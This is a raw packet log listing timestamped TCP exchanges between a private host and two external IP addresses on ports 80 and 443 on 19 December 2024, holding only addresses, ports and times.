Dec 19, 2024 20:11:39.109780073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.109886885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.109918118 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.110013962 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.110904932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.111012936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.111043930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.111252069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.112031937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.112175941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.112179041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.112231016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.113157988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.113289118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.113322020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.113383055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.114284039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.114384890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.114557028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.115519047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.115612984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.115622997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.115668058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.116533995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.116611004 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.116640091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.116727114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.117693901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.117820024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.117855072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.118180990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.118768930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.118880987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.118908882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.119889021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.120009899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.120038986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.120217085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.121061087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.121131897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.121162891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.121260881 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.122205973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.122315884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.122344971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.122893095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.123290062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.123388052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.123544931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.124370098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.124507904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.124535084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.124914885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.125499010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.125622988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.125628948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.125684977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.126674891 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.126753092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.126801014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.126879930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.127800941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.127908945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.128627062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.128875971 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.128989935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.129012108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.129112005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.130079985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.130175114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.130211115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.130301952 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.131170034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.131289959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.131864071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.132286072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.132344007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.132416964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.132669926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.133399963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.133524895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.133553028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.133713961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.134546995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.134761095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.135565042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.135653019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.135812044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.135816097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.135917902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.136802912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.136917114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.136940956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.137255907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.137891054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.138008118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.138012886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.138098001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.139025927 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.139112949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.139122009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.139230013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.140125990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.140243053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.140489101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.141318083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.141444921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.141477108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.141634941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.142457962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.142560005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.142581940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.142673969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.143516064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.143632889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.143650055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.143800020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.144656897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.144764900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.144797087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.144949913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.145744085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.145843983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.145934105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.146012068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.146873951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.147031069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.147244930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.148040056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.148133993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.148612022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.149295092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.149377108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.149389029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.149516106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.150366068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.150475979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.150532961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.150652885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.151484013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.151576996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.151583910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.152571917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.152597904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.152736902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.152802944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.152827978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.153692007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.153829098 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.153855085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.153933048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.154736996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.154793978 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.154838085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.154889107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.155894995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.156019926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.156486988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.156656027 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.157012939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.157124043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.157152891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.157262087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.158137083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.158195019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.158248901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.158592939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.159269094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.159409046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.160393000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.160422087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.160504103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.160533905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.160649061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.161586046 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.161695957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.161725998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.161799908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.162661076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.162724972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.162753105 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.162846088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.163738966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.163870096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.163906097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.163996935 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.164851904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.165611982 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.267009020 CET	443	49850	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:39.268811941 CET	49850	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:39.286259890 CET	49850	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:39.286271095 CET	443	49850	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:39.286653996 CET	443	49850	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:39.288923025 CET	49850	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:39.288923025 CET	49850	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:39.289047003 CET	443	49850	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:39.298221111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.298293114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.298336983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.298985958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.299009085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.299056053 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.299127102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.299218893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.299949884 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.300020933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.300259113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.300352097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.301445007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.301476955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.301532030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.301594019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.301594019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.302630901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.302748919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.302779913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.302855968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.303647041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.303775072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.303803921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.304878950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.304883003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.304943085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.305007935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.305183887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.306057930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.306230068 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.306261063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.306314945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.307033062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.307219982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.307250023 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.308161020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.308296919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.308331013 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.309372902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.309405088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.309489012 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.309587002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.310445070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.310517073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.310627937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.311588049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.311670065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.311698914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.312896013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.312927008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.312951088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.313644886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.313817024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.313968897 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.313996077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.315017939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.315051079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.315211058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.316184998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.316211939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.316225052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.316283941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.316349030 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.317492962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.317699909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.318371058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.318455935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.318481922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.318850040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.319406986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.319545984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.320559025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.320703983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.320825100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.321330070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.321727991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.321841002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.321857929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.321952105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.322777033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.322861910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.322890043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.324048996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.324141979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.324145079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.324219942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.325308084 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.325412035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.326109886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.326221943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.326347113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.326365948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.326430082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.327415943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.327488899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.327543974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.327608109 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.328541994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.328671932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.328835964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.329432011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.329583883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.329634905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.329796076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.329880953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.330662966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.330758095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.330889940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.330980062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.331891060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.331994057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.332022905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.332493067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.332947016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.333071947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.333084106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.333142996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.334068060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.334194899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.334300041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.335485935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.335652113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.335680008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.336380959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.336550951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.336788893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.336853981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.340945959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.341031075 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.341087103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.341099977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.341207981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.341377020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.341475010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.341598034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.341610909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.341656923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.341705084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.342088938 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.342775106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.342804909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.342946053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.342957973 CET	80	49842	31.41.244.11	192.168.2.4
